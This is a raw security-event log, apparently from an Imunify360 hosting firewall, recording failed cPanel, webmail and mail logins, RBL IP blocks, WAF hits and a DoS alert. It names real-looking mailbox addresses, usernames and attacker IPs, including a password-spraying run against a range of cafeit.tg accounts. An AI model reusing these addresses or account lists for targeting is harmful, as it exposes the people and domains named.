[2026-06-23 21:03:09 +0000] info [cpaneld] 102.54.238.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [23/Jun/2026:21:04:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12870046&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782248648 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [23/Jun/2026:21:04:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10380391&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782248643 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.40
country_id: 130758
description:
Jun 23 21:05:04 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.40
country_id: 690791
description:
Jun 23 21:05:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.40 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.162.230.58
country_id: 3469034
description:
[2026-06-23 21:05:34 +0000] info [webmaild] 45.162.230.58 - bnandja@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 21:05:37 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:53242: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 23 21:06:15 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.40
country_id: 690791
description:
Jun 23 21:05:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-23 21:05:31 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:49228: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 21:07:25 +0000] info [cpaneld] 13.222.202.238 - waywcbyw "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.49.188.213
country_id: 1694008
description:
27.49.188.213 - - [23/Jun/2026:21:08:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7184022&pdata=https%253A%252F%252Fmisstogo.tg%252Fe4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782248886 HTTP/2.0" 302 0 misstogo.tg "https://misstogo.tg/e4/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.49.188.213


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.240
country_id: 1269750
description:
Jun 23 21:08:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 23 21:08:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.149.93
country_id: 99237
description:
Jun 23 21:08:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.149.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 23 21:09:02 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.84.21.186
country_id: 798549
description:
Jun 23 21:09:18 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.84.21.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 23 21:09:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.93.154.207
country_id: 1643084
description:
Jun 23 21:09:44 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.93.154.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.240
country_id: 1269750
description:
Jun 23 21:09:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 83.171.207.50
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/8beb68fcdbf9b0e9c01ba146dbbddb40_L.webp 500w, http:/togodailynews.tg/wp-content/uploads/2026/06/8beb68fcdbf9b0e9c01ba146dbbddb40_L-300x200.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 23 21:10:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 23 21:11:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 23 21:10:55 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.231.89.218
country_id: 2077456
description:
[2026-06-23 21:11:18 +0000] info [webmaild] 103.231.89.218 - hilaire.mensah@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.171.13.150
country_id: 3625428
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/investissement-agricole-une-cellule-pour-garantir-un-climat-foncier-securise/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.209.100.171
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/820795397 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.67
country_id: 130758
description:
Jun 23 21:12:22 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 23 21:11:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.53.131
country_id: 690791
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/04/YasApp_24Heur.Info_.jpg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.55.194
country_id: 690791
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Archives des Actualit\xc3\xa9s | Page 60 sur 162 | TOGODAILYNEWS&siteId=1&rec=1&rand=152062&h=5&m=14&s=12&url=http:/togodailynews.tg/category/actualites/page/60/&uid=0&pid=0&visitorId=fc93d812b9af67d7&fvts=1782249252&vc=1&idn=0&refts=0&lvts=1782249252&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=5151&pvId=Uft4FR&browser=Chrome_56&os=Android_8.0&device=Mobile HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.45.129
country_id: 690791
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/js/autoptimize_single_15a28232bbde9e548f275d6e52385bd6.js?ver=3.3.79 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jun 23 21:14:44 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.88.141
country_id: 1668284
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&ping=1&siteId=1&rec=1&rand=118282&h=5&m=14&s=27&url=http:/togodailynews.tg/category/actualites/page/60/&uid=0&pid=0&visitorId=fc93d812b9af67d7&fvts=1782249252&vc=1&idn=0&refts=0&lvts=1782249252&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=5151&pvId=Uft4FR&browser=Chrome_56&os=Android_8.0&device=Mobile HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.159.161.46
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36-768x768.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36-300x300.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36-1024x1024.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36-150x150.webp 150w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-21-at-09.35.36.webp 1280w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 138.68.4.92
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 138.68.4.92: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jun 23 21:15:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 23 21:15:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.8.218
country_id: 3895114
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/wp-cloudflare-page-cache/assets/js/lazysizes.min.js?ver=5.3.2 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.236.105.170
country_id: 3658394
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-300x199.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-1024x681.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-768x511.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-1536x1021.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-2048x1362.webp 2048w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.120.82
country_id: 2077456
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Archives des Actualit\xc3\xa9s | Page 62 sur 162 | TOGODAILYNEWS&siteId=1&rec=1&rand=386867&h=5&m=15&s=42&url=http:/togodailynews.tg/category/actualites/page/62/&uid=0&pid=0&visitorId=5ef901cf1197f5c8&fvts=1782249343&vc=1&idn=0&refts=0&lvts=1782249343&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=6772&pvId=5sXm6L&browser=Chrome_47&os=iOS_11.0.0&device=Mobile HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.77.166.155
country_id: 3469034
description:
2026-06-23 21:16:41 dovecot_plain authenticator failed for H=([69.172.210.47]) [201.77.166.155]:2076: 535 Incorrect authentication data (set_id=info@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.50.149.3
country_id: 2017370
description:
2026-06-23 21:16:56 dovecot_plain authenticator failed for H=host-46-50-149-3.bbcustomer.zsttk.net ([69.172.210.47]) [46.50.149.3]:57028: 535 Incorrect authentication data (set_id=admin@cafeit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [23/Jun/2026:21:16:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710630&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782249416 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.128.225
country_id: 1168579
description:
2026-06-23 21:17:13 dovecot_plain authenticator failed for H=([69.172.210.47]) [163.61.128.225]:51658: 535 Incorrect authentication data (set_id=support@cafeit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.30
country_id: 6252001
description:
205.169.39.30 - - [23/Jun/2026:21:16:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921436&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782249389 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.30


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.47.77
country_id: 2017370
description:
2026-06-23 21:18:27 dovecot_plain authenticator failed for H=89-109-47-77.dynamic.mts-nn.ru ([69.172.210.47]) [89.109.47.77]:6663: 535 Incorrect authentication data (set_id=financeiro@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.138.78.207
country_id: 2017370
description:
2026-06-23 21:17:28 dovecot_plain authenticator failed for H=46-138-78-207.dynamic.spd-mgts.ru ([69.172.210.47]) [46.138.78.207]:1120: 535 Incorrect authentication data (set_id=marketing@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.165.25.70
country_id: 3996063
description:
2026-06-23 21:17:44 dovecot_plain authenticator failed for H=([69.172.210.47]) [201.165.25.70]:33520: 535 Incorrect authentication data (set_id=contact@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.18.65.57
country_id: 3865483
description:
2026-06-23 21:18:08 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.18.65.57]:22160: 535 Incorrect authentication data (set_id=contacto@cafeit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [23/Jun/2026:21:17:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274155&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782249442 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 80.227.94.219
country_id: 290557
description:
80.227.94.219 - - [23/Jun/2026:21:18:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739115&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F06%252F22%252Fmondial-2026-la-tunisie-premiere-nation-africaine-eliminee-du-tournoi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782249501 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/06/22/mondial-2026-la-tunisie-premiere-nation-africaine-eliminee-du-tournoi" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:80.227.94.219


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.47.77
country_id: 2017370
description:
2026-06-23 21:18:34 dovecot_login authenticator failed for H=89-109-47-77.dynamic.mts-nn.ru ([69.172.210.47]) [89.109.47.77]:6663: 535 Incorrect authentication data (set_id=financeiro@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.157.188.34
country_id: 2542007
description:
2026-06-23 21:18:39 dovecot_plain authenticator failed for H=([69.172.210.47]) [105.157.188.34]:55714: 535 Incorrect authentication data (set_id=comercial@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.212.161.99
country_id: 2017370
description:
2026-06-23 21:18:54 dovecot_plain authenticator failed for H=([69.172.210.47]) [176.212.161.99]:35534: 535 Incorrect authentication data (set_id=it@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.155.36.94
country_id: 953987
description:
2026-06-23 21:19:10 dovecot_plain authenticator failed for H=156-155-36-94.ip.internet.co.za ([69.172.210.47]) [156.155.36.94]:52748: 535 Incorrect authentication data (set_id=accounts@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.132.90.15
country_id: 1210997
description:
2026-06-23 21:19:28 dovecot_plain authenticator failed for H=([69.172.210.47]) [103.132.90.15]:48146: 535 Incorrect authentication data (set_id=suporte@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.189.155.66
country_id: 3996063
description:
2026-06-23 21:19:44 dovecot_plain authenticator failed for H=fixed-187-189-155-66.totalplay.net ([69.172.210.47]) [187.189.155.66]:33536: 535 Incorrect authentication data (set_id=hr@cafeit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.109.12.36
country_id: 3686110
description:
2026-06-23 21:20:00 dovecot_plain authenticator failed for H=([69.172.210.47]) [190.109.12.36]:33374: 535 Incorrect authentication data (set_id=office@cafeit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.79
country_id: 1269750
description:
Jun 23 21:21:03 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.79 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.35.108.164
country_id: 1210997
description:
103.35.108.164 - - [23/Jun/2026:21:22:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040665&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Factualites%252Fpage%252F67%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782249741 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/actualites/page/67/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.8304.1106 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.35.108.164


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.160
country_id: 130758
description:
Jun 23 21:24:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.160 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 21:26:43 +0000] info [cpaneld] 102.54.238.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.133.32.159
country_id: 1880251
description:
Jun 23 21:27:59 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.133.32.159 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 87.249.133.207
country_id: 2782113
domain: www.pnls.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:87.249.133.207||TA:87.249.133.207||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.78.158.30
country_id: 1835841
description:
Jun 23 21:28:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.78.158.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.131.24
country_id: 3017382
description:
Jun 23 21:29:37 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.131.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 23 21:29:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 23 21:31:08 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.133.32.159
country_id: 1880251
description:
Jun 23 21:31:12 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.133.32.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.145.52
country_id: 690791
description:
Jun 23 21:30:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.145.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.155.104.136
country_id: 1814991
description:
Jun 23 21:32:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.155.104.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.2.66
country_id: 1269750
description:
Jun 23 21:33:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.2.66 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.154.194
country_id: 1733045
description:
161.142.154.194 - - [23/Jun/2026:21:33:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251883&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-22114citems%252Feti.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782250430 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-22114citems/eti.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.154.194


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.68.212.2
country_id: 3017382
description:
Jun 23 21:36:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.68.212.2 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.135.42.100
country_id: 1168579
description:
139.135.42.100 - - [23/Jun/2026:21:36:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013029&pdata=https%253A%252F%252Fucao-uut.tg%252Fcontact%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782250582 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/contact/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.3242.1508 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.135.42.100


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jun 23 21:36:47 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.246.252
country_id: 1814991
description:
Jun 23 21:37:00 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.246.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jun 23 21:37:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.168.71.135
country_id: 798544
description:
